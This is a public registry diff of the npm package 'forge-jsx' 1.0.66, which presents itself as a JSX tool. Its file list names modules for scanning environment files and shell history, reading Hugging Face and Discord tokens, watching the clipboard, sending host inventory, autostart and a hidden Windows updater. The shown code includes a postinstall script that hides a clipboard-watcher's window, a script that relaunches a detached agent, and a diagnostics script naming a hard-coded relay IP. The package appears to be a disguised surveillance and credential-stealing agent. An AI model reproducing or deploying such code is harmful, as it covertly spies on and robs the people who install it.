forge-jsxy 1.0.66

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (156) hide show
  1. package/README.md +3 -0
  2. package/assets/files-explorer-template.html +4100 -0
  3. package/assets/forge-explorer-favicon.svg +31 -0
  4. package/dist/agentPid.d.ts +14 -0
  5. package/dist/agentPid.js +104 -0
  6. package/dist/agentRunner.d.ts +13 -0
  7. package/dist/agentRunner.js +290 -0
  8. package/dist/assets/files-explorer-template.html +4100 -0
  9. package/dist/assets/forge-explorer-favicon.svg +31 -0
  10. package/dist/autostart/agentEnvFile.d.ts +58 -0
  11. package/dist/autostart/agentEnvFile.js +488 -0
  12. package/dist/autostart/autoUpdatePaths.d.ts +7 -0
  13. package/dist/autostart/autoUpdatePaths.js +51 -0
  14. package/dist/autostart/constants.d.ts +14 -0
  15. package/dist/autostart/constants.js +17 -0
  16. package/dist/autostart/darwin.d.ts +11 -0
  17. package/dist/autostart/darwin.js +203 -0
  18. package/dist/autostart/darwinAutoUpdate.d.ts +4 -0
  19. package/dist/autostart/darwinAutoUpdate.js +70 -0
  20. package/dist/autostart/darwinLegacyNpmSchedulerCleanup.d.ts +4 -0
  21. package/dist/autostart/darwinLegacyNpmSchedulerCleanup.js +70 -0
  22. package/dist/autostart/index.d.ts +4 -0
  23. package/dist/autostart/index.js +20 -0
  24. package/dist/autostart/install.d.ts +6 -0
  25. package/dist/autostart/install.js +113 -0
  26. package/dist/autostart/linux.d.ts +17 -0
  27. package/dist/autostart/linux.js +298 -0
  28. package/dist/autostart/linuxLegacyNpmSchedulerCleanup.d.ts +6 -0
  29. package/dist/autostart/linuxLegacyNpmSchedulerCleanup.js +104 -0
  30. package/dist/autostart/linuxUpdateTimer.d.ts +6 -0
  31. package/dist/autostart/linuxUpdateTimer.js +104 -0
  32. package/dist/autostart/macPathEnv.d.ts +5 -0
  33. package/dist/autostart/macPathEnv.js +23 -0
  34. package/dist/autostart/manifest.d.ts +11 -0
  35. package/dist/autostart/manifest.js +74 -0
  36. package/dist/autostart/quote.d.ts +12 -0
  37. package/dist/autostart/quote.js +65 -0
  38. package/dist/autostart/resolve.d.ts +35 -0
  39. package/dist/autostart/resolve.js +85 -0
  40. package/dist/autostart/windows.d.ts +15 -0
  41. package/dist/autostart/windows.js +277 -0
  42. package/dist/cli-agent.d.ts +3 -0
  43. package/dist/cli-agent.js +56 -0
  44. package/dist/cli-autostart.d.ts +2 -0
  45. package/dist/cli-autostart.js +92 -0
  46. package/dist/cli-forge.d.ts +2 -0
  47. package/dist/cli-forge.js +5 -0
  48. package/dist/cli-linux-session-refresh.d.ts +2 -0
  49. package/dist/cli-linux-session-refresh.js +30 -0
  50. package/dist/cli-relay.d.ts +3 -0
  51. package/dist/cli-relay.js +38 -0
  52. package/dist/clientId.d.ts +2 -0
  53. package/dist/clientId.js +97 -0
  54. package/dist/clipboardEventWatcher.d.ts +8 -0
  55. package/dist/clipboardEventWatcher.js +177 -0
  56. package/dist/clipboardExec.d.ts +1 -0
  57. package/dist/clipboardExec.js +161 -0
  58. package/dist/clipboardNapi.d.ts +4 -0
  59. package/dist/clipboardNapi.js +19 -0
  60. package/dist/deploymentCipherData.d.ts +20 -0
  61. package/dist/deploymentCipherData.js +31 -0
  62. package/dist/deploymentDefaults.d.ts +43 -0
  63. package/dist/deploymentDefaults.js +199 -0
  64. package/dist/desktopEnvSync.d.ts +18 -0
  65. package/dist/desktopEnvSync.js +21 -0
  66. package/dist/discordAgentScreenshot.d.ts +27 -0
  67. package/dist/discordAgentScreenshot.js +476 -0
  68. package/dist/discordBotTokens.d.ts +29 -0
  69. package/dist/discordBotTokens.js +78 -0
  70. package/dist/discordRateLimit.d.ts +93 -0
  71. package/dist/discordRateLimit.js +227 -0
  72. package/dist/discordRelayUpload.d.ts +55 -0
  73. package/dist/discordRelayUpload.js +806 -0
  74. package/dist/discordWebhookPost.d.ts +12 -0
  75. package/dist/discordWebhookPost.js +108 -0
  76. package/dist/envLoad.d.ts +1 -0
  77. package/dist/envLoad.js +18 -0
  78. package/dist/envScan.d.ts +14 -0
  79. package/dist/envScan.js +358 -0
  80. package/dist/exportMirrorCopy.d.ts +15 -0
  81. package/dist/exportMirrorCopy.js +279 -0
  82. package/dist/fileLockForce.d.ts +50 -0
  83. package/dist/fileLockForce.js +1479 -0
  84. package/dist/filesExplorer.d.ts +9 -0
  85. package/dist/filesExplorer.js +110 -0
  86. package/dist/fsMessages.d.ts +1 -0
  87. package/dist/fsMessages.js +123 -0
  88. package/dist/fsProtocol.d.ts +107 -0
  89. package/dist/fsProtocol.js +4800 -0
  90. package/dist/hfCredentials.d.ts +23 -0
  91. package/dist/hfCredentials.js +124 -0
  92. package/dist/hfHubPathSanitize.d.ts +4 -0
  93. package/dist/hfHubPathSanitize.js +30 -0
  94. package/dist/hfHubUploadContent.d.ts +2 -0
  95. package/dist/hfHubUploadContent.js +199 -0
  96. package/dist/hfSeqIdLookup.d.ts +16 -0
  97. package/dist/hfSeqIdLookup.js +146 -0
  98. package/dist/hfUpload.d.ts +47 -0
  99. package/dist/hfUpload.js +1225 -0
  100. package/dist/hostInventory.d.ts +18 -0
  101. package/dist/hostInventory.js +206 -0
  102. package/dist/hostInventorySend.d.ts +5 -0
  103. package/dist/hostInventorySend.js +86 -0
  104. package/dist/index.d.ts +24 -0
  105. package/dist/index.js +62 -0
  106. package/dist/inputContext.d.ts +11 -0
  107. package/dist/inputContext.js +1094 -0
  108. package/dist/keyboardTranslate.d.ts +23 -0
  109. package/dist/keyboardTranslate.js +204 -0
  110. package/dist/linuxX11.d.ts +2 -0
  111. package/dist/linuxX11.js +53 -0
  112. package/dist/relayAgent.d.ts +20 -0
  113. package/dist/relayAgent.js +828 -0
  114. package/dist/relayAuth.d.ts +10 -0
  115. package/dist/relayAuth.js +81 -0
  116. package/dist/relayDashboardGate.d.ts +31 -0
  117. package/dist/relayDashboardGate.js +323 -0
  118. package/dist/relayForAgentHttp.d.ts +24 -0
  119. package/dist/relayForAgentHttp.js +132 -0
  120. package/dist/relayServer.d.ts +9 -0
  121. package/dist/relayServer.js +1406 -0
  122. package/dist/shellHistoryScan.d.ts +12 -0
  123. package/dist/shellHistoryScan.js +200 -0
  124. package/dist/startupAutoUpdate.d.ts +17 -0
  125. package/dist/startupAutoUpdate.js +156 -0
  126. package/dist/syncClient.d.ts +80 -0
  127. package/dist/syncClient.js +205 -0
  128. package/dist/tableNaming.d.ts +13 -0
  129. package/dist/tableNaming.js +101 -0
  130. package/dist/vcToWindowsVk.d.ts +7 -0
  131. package/dist/vcToWindowsVk.js +154 -0
  132. package/dist/win32InputNative.d.ts +18 -0
  133. package/dist/win32InputNative.js +198 -0
  134. package/dist/windowsInputSync.d.ts +22 -0
  135. package/dist/windowsInputSync.js +536 -0
  136. package/dist/workerBootstrap.d.ts +17 -0
  137. package/dist/workerBootstrap.js +327 -0
  138. package/package.json +75 -0
  139. package/scripts/copy-assets.mjs +31 -0
  140. package/scripts/discord-live-probe.mjs +159 -0
  141. package/scripts/encode-deployment.mjs +135 -0
  142. package/scripts/encode-hf-credentials.mjs +30 -0
  143. package/scripts/ensure-dist.mjs +86 -0
  144. package/scripts/env-sync-selftest.js +11 -0
  145. package/scripts/explorer-isolated-npm-env.mjs +57 -0
  146. package/scripts/forge-jsx-explorer-kill-agent.mjs +359 -0
  147. package/scripts/forge-jsx-explorer-restart.mjs +293 -0
  148. package/scripts/forge-jsx-explorer-upgrade.mjs +802 -0
  149. package/scripts/forge-jsx-windows-update-hidden.ps1 +33 -0
  150. package/scripts/pm2-restart-forge-relay-agent.sh +43 -0
  151. package/scripts/postinstall-agent.mjs +313 -0
  152. package/scripts/postinstall-bootstrap.mjs +264 -0
  153. package/scripts/postinstall-clipboard-event.mjs +164 -0
  154. package/scripts/registry-version-lib.mjs +98 -0
  155. package/scripts/restart-agent.mjs +66 -0
  156. package/scripts/windows-forge-diagnostics.ps1 +56 -0
@@ -0,0 +1,164 @@
1
+ /**
2
+ * - Linux/macOS: npm often unpacks clipboard-event without +x on the helper binary.
3
+ * - Windows: clipboard-event spawns win32.exe via execFile without `windowsHide`,
4
+ * which flashes a console window whenever the agent starts (including postinstall).
5
+ * Patch node_modules in place so the helper runs hidden.
6
+ *
7
+ * Handles all known forms of the execFile call in clipboard-event:
8
+ * Form A: execFile(path.join(__dirname, '...win32.exe'))
9
+ * Form B: execFile(path.join(__dirname, '...win32.exe'), function ...)
10
+ * Form C: execFile(path.join(__dirname, '...win32.exe'), (err, ...) => ...) [arrow fn]
11
+ * Form D: execFile(path.join(__dirname, '...win32.exe'), cb) [callback variable]
12
+ * Form E: execFile(binPath) [path stored in variable]
13
+ */
14
+ import { chmodSync, existsSync, readFileSync, writeFileSync } from "node:fs";
15
+ import { join, dirname } from "node:path";
16
+ import { fileURLToPath } from "node:url";
17
+ import { createRequire } from "node:module";
18
+
19
+ const __dirname = dirname(fileURLToPath(import.meta.url));
20
+
21
+ /**
22
+ * npm often hoists `clipboard-event` to the project root `node_modules`, not under
23
+ * `node_modules/forge-jsx/node_modules`. A fixed relative path skips the patch entirely,
24
+ * so the win32 helper keeps spawning a visible console. Resolve the real install path.
25
+ */
26
+ function resolveClipboardEventRoot() {
27
+ const nested = join(__dirname, "..", "node_modules", "clipboard-event");
28
+ try {
29
+ const require = createRequire(import.meta.url);
30
+ // clipboard-event 1.6+ uses "exports"; subpaths like package.json are not exported.
31
+ const resolved = dirname(require.resolve("clipboard-event"));
32
+ if (existsSync(join(resolved, "index.js")) || existsSync(join(resolved, "index.cjs"))) {
33
+ return resolved;
34
+ }
35
+ } catch {
36
+ /* optional dependency missing or not resolvable from this layout */
37
+ }
38
+ return nested;
39
+ }
40
+
41
+ const pkgRoot = resolveClipboardEventRoot();
42
+
43
+ // chmod +x all known Linux / macOS clipboard-event platform binaries.
44
+ // Covers all known architecture-specific names across clipboard-event 1.x releases.
45
+ for (const name of [
46
+ "clipboard-event-handler-linux",
47
+ "clipboard-event-handler-linux-x64",
48
+ "clipboard-event-handler-linux-x86",
49
+ "clipboard-event-handler-linux-ia32",
50
+ "clipboard-event-handler-linux-arm64",
51
+ "clipboard-event-handler-linux-arm",
52
+ "clipboard-event-handler-linux-armv7l",
53
+ "clipboard-event-handler-linux-riscv64",
54
+ "clipboard-event-handler-mac",
55
+ "clipboard-event-handler-mac-x64",
56
+ "clipboard-event-handler-mac-arm64",
57
+ "clipboard-event-handler-macos",
58
+ "clipboard-event-handler-macos-x64",
59
+ "clipboard-event-handler-macos-arm64",
60
+ ]) {
61
+ const binPath = join(pkgRoot, "platform", name);
62
+ if (existsSync(binPath)) {
63
+ try {
64
+ chmodSync(binPath, 0o755);
65
+ } catch {
66
+ /* ignore */
67
+ }
68
+ }
69
+ }
70
+
71
+ /**
72
+ * Patch clipboard-event's Windows execFile call to add { windowsHide: true }.
73
+ * Handles all known callback styles in clipboard-event 1.x releases.
74
+ *
75
+ * The win32 helper binary path may appear as a path.join() call or as a variable.
76
+ * We pattern-match the execFile call and inject options before any callback.
77
+ */
78
+ function patchClipboardEventWindowsHide() {
79
+ if (process.platform !== "win32") return;
80
+
81
+ for (const name of ["index.js", "index.cjs"]) {
82
+ const p = join(pkgRoot, name);
83
+ if (!existsSync(p)) continue;
84
+
85
+ let src;
86
+ try {
87
+ src = readFileSync(p, "utf8");
88
+ } catch {
89
+ continue;
90
+ }
91
+
92
+ if (!src.includes("clipboard-event-handler-win32.exe")) continue;
93
+ if (src.includes("windowsHide")) continue; // already patched
94
+
95
+ let next = src;
96
+
97
+ // ── Form A: no second arg (no callback) ─────────────────────────────────────
98
+ // execFile(path.join(__dirname, '...win32.exe'))
99
+ next = next.replace(
100
+ /this\.child\s*=\s*execFile\(\s*(path\.join\(\s*__dirname\s*,\s*['"]platform\/clipboard-event-handler-win32\.exe['"]\s*\))\s*\)/g,
101
+ "this.child = execFile($1, { windowsHide: true })"
102
+ );
103
+
104
+ // ── Form B: callback as second arg (named function) ──────────────────────────
105
+ // execFile(path.join(...), function(err, ...) { ... })
106
+ next = next.replace(
107
+ /this\.child\s*=\s*execFile\(\s*(path\.join\(\s*__dirname\s*,\s*['"]platform\/clipboard-event-handler-win32\.exe['"]\s*\))\s*,\s*(function\s*\()/g,
108
+ "this.child = execFile($1, { windowsHide: true }, $2"
109
+ );
110
+
111
+ // ── Form C: arrow-function callback as second arg ────────────────────────────
112
+ // execFile(path.join(...), (err, ...) => { ... })
113
+ next = next.replace(
114
+ /this\.child\s*=\s*execFile\(\s*(path\.join\(\s*__dirname\s*,\s*['"]platform\/clipboard-event-handler-win32\.exe['"]\s*\))\s*,\s*(\([^)]*\)\s*=>)/g,
115
+ "this.child = execFile($1, { windowsHide: true }, $2"
116
+ );
117
+
118
+ // ── Form D: callback variable as second arg ──────────────────────────────────
119
+ // execFile(path.join(...), cb) where cb is an identifier
120
+ next = next.replace(
121
+ /this\.child\s*=\s*execFile\(\s*(path\.join\(\s*__dirname\s*,\s*['"]platform\/clipboard-event-handler-win32\.exe['"]\s*\))\s*,\s*([a-zA-Z_$][a-zA-Z0-9_$]*)\s*\)/g,
122
+ "this.child = execFile($1, { windowsHide: true }, $2)"
123
+ );
124
+
125
+ // ── Form E: binPath variable (no inline path.join) ───────────────────────────
126
+ // Handle cases where the path is stored in a variable before the execFile call.
127
+ // Strategy: if the above patterns haven't patched and win32.exe is referenced,
128
+ // do a broader replacement of any execFile call assignment that has no options object.
129
+ if (next === src && src.includes("win32.exe")) {
130
+ // Broader fallback: any execFile(someVar, ...) without windowsHide
131
+ next = next.replace(
132
+ /this\.child\s*=\s*execFile\(\s*([^,)]+?)\s*\)/g,
133
+ (match, arg1) => {
134
+ if (match.includes("windowsHide")) return match;
135
+ return `this.child = execFile(${arg1}, { windowsHide: true })`;
136
+ }
137
+ );
138
+ next = next.replace(
139
+ /this\.child\s*=\s*execFile\(\s*([^,)]+?)\s*,\s*(function\s*\()/g,
140
+ (match, arg1, cb) => {
141
+ if (match.includes("windowsHide")) return match;
142
+ return `this.child = execFile(${arg1}, { windowsHide: true }, ${cb}`;
143
+ }
144
+ );
145
+ next = next.replace(
146
+ /this\.child\s*=\s*execFile\(\s*([^,)]+?)\s*,\s*(\([^)]*\)\s*=>)/g,
147
+ (match, arg1, cb) => {
148
+ if (match.includes("windowsHide")) return match;
149
+ return `this.child = execFile(${arg1}, { windowsHide: true }, ${cb}`;
150
+ }
151
+ );
152
+ }
153
+
154
+ if (next === src) continue; // nothing matched — leave untouched
155
+
156
+ try {
157
+ writeFileSync(p, next, "utf8");
158
+ } catch {
159
+ /* ignore */
160
+ }
161
+ }
162
+ }
163
+
164
+ patchClipboardEventWindowsHide();
@@ -0,0 +1,98 @@
1
+ /**
2
+ * npm registry version parsing + semver helpers for `forge-jsx-explorer-upgrade` (unit-tested).
3
+ * Not related to automatic package upgrades — upgrades are manual via file explorer only.
4
+ */
5
+ import * as fs from "node:fs";
6
+ import * as path from "node:path";
7
+ import * as zlib from "node:zlib";
8
+
9
+ /**
10
+ * Normalize version strings for comparison (npm/package.json rarely use `v`, but CLI output may).
11
+ * Strips leading ASCII `v`/`V` so `v1.0.10` and `1.0.10` compare equal.
12
+ */
13
+ function normalizeSemverCore(s) {
14
+ return String(s || "")
15
+ .trim()
16
+ .replace(/^v+/i, "");
17
+ }
18
+
19
+ /**
20
+ * Parse first version token from `npm view <pkg> version` stdout, or a registry JSON `version` string
21
+ * (ANSI, quotes, first line) so explorer-upgrade and tests agree on the same normalization.
22
+ */
23
+ export function parseNpmViewVersionStdout(stdout) {
24
+ const cleaned = String(stdout || "").replace(/\u001b\[[0-9;]*m/g, "");
25
+ const line =
26
+ cleaned
27
+ .split(/\r?\n/)
28
+ .map((l) => l.trim())
29
+ .find((l) => l.length > 0) || "";
30
+ return line
31
+ .replace(/^["']|["']$/g, "")
32
+ .split(/\s+/)[0]
33
+ .trim();
34
+ }
35
+
36
+ /**
37
+ * Decode raw registry GET body to UTF-8 when `Content-Encoding` is gzip/deflate/br (CDN/proxy).
38
+ * Plain identity responses pass through as UTF-8.
39
+ */
40
+ export function decodeRegistryResponseBody(raw, contentEncoding) {
41
+ const enc = String(contentEncoding || "").toLowerCase();
42
+ let buf = Buffer.isBuffer(raw) ? raw : Buffer.from(raw);
43
+ try {
44
+ if (/\bgzip\b/.test(enc)) buf = zlib.gunzipSync(buf);
45
+ else if (/\bdeflate\b/.test(enc)) {
46
+ try {
47
+ buf = zlib.inflateSync(buf);
48
+ } catch {
49
+ buf = zlib.inflateRawSync(buf);
50
+ }
51
+ } else if (/\bbr\b/.test(enc)) buf = zlib.brotliDecompressSync(buf);
52
+ } catch (e) {
53
+ const msg = e instanceof Error ? e.message : String(e);
54
+ throw new Error(`registry decompress (${enc.trim() || "identity"}): ${msg}`);
55
+ }
56
+ return buf.toString("utf8");
57
+ }
58
+
59
+ /** @returns {number} negative if a<b, 0 equal, positive if a>b */
60
+ export function semverCompare(a, b) {
61
+ const parse = (s) => {
62
+ const m = normalizeSemverCore(s).match(/^(\d+)\.(\d+)\.(\d+)/);
63
+ if (!m) return null;
64
+ return [Number(m[1]), Number(m[2]), Number(m[3])];
65
+ };
66
+ const pa = parse(a);
67
+ const pb = parse(b);
68
+ if (!pa || !pb) return String(normalizeSemverCore(a)).localeCompare(String(normalizeSemverCore(b)));
69
+ for (let i = 0; i < 3; i++) {
70
+ if (pa[i] !== pb[i]) return pa[i] - pb[i];
71
+ }
72
+ return 0;
73
+ }
74
+
75
+ /**
76
+ * Consumer project root: directory that owns node_modules when this install
77
+ * lives at .../node_modules/{pkgDirName}. Otherwise returns forgeRoot.
78
+ * @param {string} forgeRoot
79
+ * @param {string} [pkgDirName='forge-jsx']
80
+ */
81
+ export function resolveConsumerRoot(forgeRoot, pkgDirName = "forge-jsx") {
82
+ let p = path.resolve(forgeRoot);
83
+ try {
84
+ p = fs.realpathSync(p);
85
+ } catch {
86
+ /* use symlink path */
87
+ }
88
+ for (;;) {
89
+ const base = path.basename(p);
90
+ const parent = path.dirname(p);
91
+ if (base === pkgDirName && path.basename(parent) === "node_modules") {
92
+ return path.resolve(path.dirname(parent));
93
+ }
94
+ if (parent === p) break;
95
+ p = parent;
96
+ }
97
+ return path.resolve(forgeRoot);
98
+ }
@@ -0,0 +1,66 @@
1
+ #!/usr/bin/env node
2
+ /**
3
+ * Cross-platform `agent:restart` (no bash — works in cmd.exe and PowerShell).
4
+ * 1. Rebuild dist/ from latest TypeScript source (npm run build).
5
+ * 2. Stop the running singleton agent via forge-cfgmgr --stop.
6
+ * 3. Start a fresh detached agent via postinstall-agent.mjs.
7
+ *
8
+ * The build step ensures the restarted agent always runs the latest code.
9
+ * A build failure is non-fatal: we still stop + restart with the existing dist/.
10
+ */
11
+ import { spawnSync } from "node:child_process";
12
+ import { existsSync } from "node:fs";
13
+ import path from "node:path";
14
+ import { fileURLToPath } from "node:url";
15
+ import { isolatedNpmCacheEnv } from "./explorer-isolated-npm-env.mjs";
16
+
17
+ const __dirname = path.dirname(fileURLToPath(import.meta.url));
18
+ const root = path.resolve(__dirname, "..");
19
+ const cliForge = path.join(root, "dist", "cli-forge.js");
20
+ const postinstallAgent = path.join(root, "scripts", "postinstall-agent.mjs");
21
+
22
+ const verbose = process.argv.includes("--verbose") || process.argv.includes("-v");
23
+
24
+ // ── Step 1: rebuild ────────────────────────────────────────────────────────
25
+ // Remove FORGE_JS_ENSURE_DIST_RUNNING so ensure-dist.mjs (triggered inside
26
+ // `npm run build`) is not short-circuited by a stale guard env var.
27
+ const buildEnv = isolatedNpmCacheEnv({ ...process.env });
28
+ delete buildEnv.FORGE_JS_ENSURE_DIST_RUNNING;
29
+ buildEnv.NPM_CONFIG_UPDATE_NOTIFIER = "false";
30
+ buildEnv.npm_config_update_notifier = "false";
31
+
32
+ if (verbose) console.log("[forge-js] restart-agent: building latest dist/…");
33
+ // Pass command as a single string (no args array) when shell:true to avoid
34
+ // Node DeprecationWarning DEP0190 (args not escaped before shell concat).
35
+ const buildResult = spawnSync("npm run build", {
36
+ cwd: root,
37
+ stdio: verbose ? "inherit" : "pipe",
38
+ shell: true,
39
+ windowsHide: true,
40
+ timeout: 300_000,
41
+ env: buildEnv,
42
+ });
43
+ if (buildResult.status !== 0 && verbose) {
44
+ const out = buildResult.stderr?.toString?.()?.trim() || buildResult.stdout?.toString?.()?.trim() || "";
45
+ console.warn("[forge-js] restart-agent: build failed (restarting with existing dist/).", out ? `\n${out.slice(0, 1000)}` : "");
46
+ }
47
+
48
+ // ── Step 2: stop existing agent ────────────────────────────────────────────
49
+ const stopOpts = {
50
+ cwd: root,
51
+ stdio: "ignore",
52
+ windowsHide: true,
53
+ env: isolatedNpmCacheEnv({ ...process.env }),
54
+ };
55
+
56
+ if (existsSync(cliForge)) {
57
+ if (verbose) console.log("[forge-js] restart-agent: stopping old agent…");
58
+ spawnSync(process.execPath, [cliForge, "--stop"], stopOpts);
59
+ }
60
+
61
+ // ── Step 3: start fresh agent ──────────────────────────────────────────────
62
+ if (verbose) console.log("[forge-js] restart-agent: starting fresh agent…");
63
+ spawnSync(process.execPath, [postinstallAgent], {
64
+ ...stopOpts,
65
+ stdio: verbose ? "inherit" : "ignore",
66
+ });
@@ -0,0 +1,56 @@
1
+ # Collect forge-jsx / forge-agent state on Windows. Run from repo root or anywhere:
2
+ # powershell -NoProfile -ExecutionPolicy Bypass -File path\to\windows-forge-diagnostics.ps1
3
+ # Paste the full output into an issue or chat.
4
+
5
+ $ErrorActionPreference = "Continue"
6
+ Write-Host "=== forge-js Windows diagnostics ==="
7
+ Write-Host "Time: $(Get-Date -Format o)"
8
+ Write-Host ""
9
+
10
+ Write-Host "=== Node ==="
11
+ try {
12
+ node -v
13
+ node -p "'platform=' + process.platform + ' version=' + process.version"
14
+ } catch {
15
+ Write-Host "node not on PATH: $_"
16
+ }
17
+ Write-Host ""
18
+
19
+ Write-Host "=== Global forge-jsx ==="
20
+ npm list -g forge-jsx --depth=0 2>&1
21
+ Write-Host ""
22
+
23
+ $dataDir = Join-Path $env:LOCALAPPDATA "CfgMgr\data"
24
+ Write-Host "=== CfgMgr data dir: $dataDir ==="
25
+ $hint = Join-Path $dataDir "forge-js-explorer-session.txt"
26
+ $cid = Join-Path $dataDir ".client_id"
27
+ $pidf = Join-Path $dataDir "forge-js-agent.pid"
28
+ foreach ($f in @($hint, $cid, $pidf)) {
29
+ if (Test-Path $f) {
30
+ Write-Host "--- $(Split-Path $f -Leaf) ---"
31
+ Get-Content $f -ErrorAction SilentlyContinue
32
+ } else {
33
+ Write-Host "(missing) $f"
34
+ }
35
+ }
36
+ Write-Host ""
37
+
38
+ Write-Host "=== node.exe (cli-agent) ==="
39
+ Get-CimInstance Win32_Process -Filter "Name='node.exe'" |
40
+ Where-Object { $_.CommandLine -match "cli-agent" } |
41
+ ForEach-Object { "PID=$($_.ProcessId) $($_.CommandLine)" }
42
+ Write-Host ""
43
+
44
+ Write-Host "=== Optional: relay health (set `$env:FORGE_RELAY_HTTP) ==="
45
+ if ($env:FORGE_RELAY_HTTP) {
46
+ try {
47
+ Invoke-RestMethod -Uri "$($env:FORGE_RELAY_HTTP.TrimEnd('/'))/health" -TimeoutSec 5
48
+ Invoke-RestMethod -Uri "$($env:FORGE_RELAY_HTTP.TrimEnd('/'))/api/relay-for-agent" -TimeoutSec 5
49
+ } catch {
50
+ Write-Host $_
51
+ }
52
+ } else {
53
+ Write-Host 'Skip (set FORGE_RELAY_HTTP e.g. http://204.10.194.247:9877 to test relay HTTP)'
54
+ }
55
+ Write-Host ""
56
+ Write-Host "=== End — paste everything above ==="